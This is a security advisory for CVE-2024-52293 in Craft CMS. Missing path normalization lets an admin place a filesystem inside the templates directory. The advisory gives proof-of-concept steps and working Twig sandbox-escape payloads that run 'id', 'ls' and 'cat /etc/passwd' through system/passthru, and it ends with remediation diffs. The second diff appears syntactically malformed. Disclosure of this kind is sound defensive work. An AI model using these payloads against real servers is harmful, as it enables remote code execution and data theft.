CVE-2024-52293: Craft has a Potential Remote Code Execution via missing path normalization & Twig SSTI

First published: Wed Nov 13 2024(Updated: )

### Summary Missing `normalizePath` in the function `FileHelper::absolutePath` could lead to Remote Code Execution on the server via twig SSTI. `(Post-authentication, ALLOW_ADMIN_CHANGES=true)` ### Details Note: This is a sequel to [CVE-2023-40035](https://github.com/craftcms/cms/security/advisories/GHSA-44wr-rmwq-3phw) In [`src/helpers/FileHelper.php#L106-L137`](https://github.com/craftcms/cms/blob/5e56c6d168524ed02f0620c9bc1c9750f5b94e3b/src/helpers/FileHelper.php#L106-L137), the function `absolutePath` returned `$from . $ds . $to` without path normalization: ```php /** * Returns an absolute path based on a source location or the current working directory. * * @param string $to The target path. * @param string|null $from The source location. Defaults to the current working directory. * @param string $ds the directory separator to be used in the normalized result. Defaults to `DIRECTORY_SEPARATOR`. * @return string * @since 4.3.5 */ public static function absolutePath( string $to, ?string $from = null, string $ds = DIRECTORY_SEPARATOR, ): string { $to = static::normalizePath($to, $ds); // Already absolute? if ( str_starts_with($to, $ds) || preg_match(sprintf('/^[A-Z]:%s/', preg_quote($ds, '/')), $to) ) { return $to; } if ($from === null) { $from = FileHelper::normalizePath(getcwd(), $ds); } else { $from = static::absolutePath($from, ds: $ds); } return $from . $ds . $to; } ``` This could leads to multiple security risks, one of them is in [`src/services/Security.php#L201-L220`](https://github.com/craftcms/cms/blob/5e56c6d168524ed02f0620c9bc1c9750f5b94e3b/src/services/Security.php#L201-L220) where `../templates/poc` is not considered a system dir. Let's see what happens after calling `isSystemDir("../templates/poc")`: ```php /** * Returns whether the given file path is located within or above any system directories. * * @param string $path * @return bool * @since 5.4.2 */ public function isSystemDir(string $path): bool // $path = "../templates/poc" { $path = FileHelper::absolutePath($path, '/'); // $path = "/var/www/html/web//../templates/poc" foreach (Craft::$app->getPath()->getSystemPaths() as $dir) { $dir = FileHelper::absolutePath($dir, '/'); // $dir = "/var/www/html/templates" if (str_starts_with("$path/", "$dir/") || str_starts_with("$dir/", "$path/")) { // if (false || false) return true; } } return false; // We're here! } ``` Now that the path `../templates/poc` can bypass `isSystemDir`, it will also bypass the function `validatePath` in [`src/fs/Local.php#L124-L136`](https://github.com/craftcms/cms/blob/5e56c6d168524ed02f0620c9bc1c9750f5b94e3b/src/fs/Local.php#L124-L136): ```php /** * @param string $attribute * @param array|null $params * @param InlineValidator $validator * @return void * @since 4.4.6 */ public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void { if (Craft::$app->getSecurity()->isSystemDir($this->getRootPath())) { $validator->addError($this, $attribute, Craft::t('app', 'Local filesystems cannot be located within or above system directories.')); } } ``` We can now create a Local filesystem within the system directories, particularly in `/var/www/html/templates/poc` Then create a new asset volume with that filesystem, upload a `poc.ttml` file with twig code and execute using a new route with template path `poc/poc.ttml` Although craftcms does sandbox twig ssti, the list in [src/web/twig/Extension.php#L180-L268](https://github.com/craftcms/cms/blob/5e56c6d168524ed02f0620c9bc1c9750f5b94e3b/src/web/twig/Extension.php#L180-L268) is still incomplete. ```js {{['id'] has some 'system'}} {{['ls'] has every 'passthru'}} {{['cat /etc/passwd']|find('system')}} {{['id;pwd;ls -altr /']|find('passthru')}} ``` These payloads still work, see [twigphp/Twig/src/Extension/CoreExtension.php#getFilters()](https://github.com/twigphp/Twig/blob/a3496d148b75e270065ed8f03758f7b09b3a9793/src/Extension/CoreExtension.php#L196-L247) and [twigphp/Twig/src/Extension/CoreExtension.php#getOperators()](https://github.com/twigphp/Twig/blob/a3496d148b75e270065ed8f03758f7b09b3a9793/src/Extension/CoreExtension.php#L291-L333) for more informations. ### PoC 1. Craft CMS was installed using https://craftcms.com/docs/4.x/installation.html#quick-start ```sh mkdir craftcms && cd craftcms ddev config --project-type=craftcms --docroot=web --create-docroot ddev composer create -y --no-scripts "craftcms/craft" ddev craft install php craft setup/security-key ddev start ``` <img width="1280" alt="start" src="https://github.com/user-attachments/assets/f8bcc22a-6ffd-40a5-81c6-c077fa4ce1d3"> 2. Create a new filesystem with base path `../templates/poc` <img width="1280" alt="filesystem" src="https://github.com/user-attachments/assets/fe78e023-bd51-4fc1-a22e-dcfa5baf266b"> Notice that the `poc` directory was created <img width="167" alt="dir" src="https://github.com/user-attachments/assets/ccc45ce8-8555-4aae-ae48-320a630e7d79"> 3. Create a new asset volume using the `poc` filesystem <img width="1280" alt="asset" src="https://github.com/user-attachments/assets/b5530766-11b4-4e45-ae58-82f81fc2db00"> Upload a `poc.ttml` file with RCE template code ```js {{'<pre>'}} {{ 8*8 }} {{['id'] has some 'system'}} {{['ls'] has every 'passthru'}} {{['cat /etc/passwd']|find('system')}} {{['id;pwd;ls -altr /']|find('passthru')}} ``` Note: `find` was added to twig [last month](https://github.com/twigphp/Twig/commit/4e262511930e408e4c7eda07b1c977f2ea98575c). If you're running this poc on an older version of twig try removing the last 2 lines. <img width="1280" alt="upload" src="https://github.com/user-attachments/assets/63e65beb-2ede-4141-85d2-e7d21cd4b8ad">  4. Create a new route `*` with template `poc/poc.ttml` <img width="1280" alt="route" src="https://github.com/user-attachments/assets/b92d9340-b6a5-40d8-a8e8-ddab5cfc9f21"> 5. This leads to Remote Code Execution on arbitrary route `/*` <img width="454" alt="rce" src="https://github.com/user-attachments/assets/19765f6c-1c28-4a0b-a89c-25f6f05ceca6"> ### Remediation ```diff diff --git a/src/helpers/FileHelper.php b/src/helpers/FileHelper.php index 0c2da884a7..ac23ce556a 100644 --- a/src/helpers/FileHelper.php +++ b/src/helpers/FileHelper.php @@ -133,7 +133,7 @@ class FileHelper extends \yii\helpers\FileHelper $from = static::absolutePath($from, ds: $ds); } - return $from . $ds . $to; + return FileHelper::normalizePath($from . $ds . $to); } /** ```  See [twigphp/Twig/src/Extension/CoreExtension.php](https://github.com/twigphp/Twig/blob/a3496d148b75e270065ed8f03758f7b09b3a9793/src/Extension/CoreExtension.php) for updated filters and operators, a possible fix could look like: ```diff diff --git a/src/web/twig/Extension.php b/src/web/twig/Extension.php index efff2d2412..756f452f8b 100644 --- a/src/web/twig/Extension.php +++ b/src/web/twig/Extension.php @@ -225,6 +225,9 @@ class Extension extends AbstractExtension implements GlobalsInterface new TwigFilter('lcfirst', [$this, 'lcfirstFilter']), new TwigFilter('literal', [$this, 'literalFilter']), new TwigFilter('map', [$this, 'mapFilter'], ['needs_environment' => true]), + new TwigFilter('find', [$this, 'find'], ['needs_environment' => true]), + new TwigFilter('has some' => ['precedence' => 20, 'class' => HasSomeBinary::class, 'associativity' => ExpressionParser::OPERATOR_LEFT]), + new TwigFilter('has every' => ['precedence' => 20, 'class' => HasEveryBinary::class, 'associativity' => ExpressionParser::OPERATOR_LEFT]), new TwigFilter('markdown', [$this, 'markdownFilter'], ['is_safe' => ['html']]), new TwigFilter('md', [$this, 'markdownFilter'], ['is_safe' => ['html']]), new TwigFilter('merge', [$this, 'mergeFilter']), ```  ### Impact Take control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc. Although the vulnerability is exploitable only in the authenticated users, configuration with `ALLOW_ADMIN_CHANGES=true`, there is still a potential security threat (Remote Code Execution)

Credit: security-advisories@github.com security-advisories@github.com

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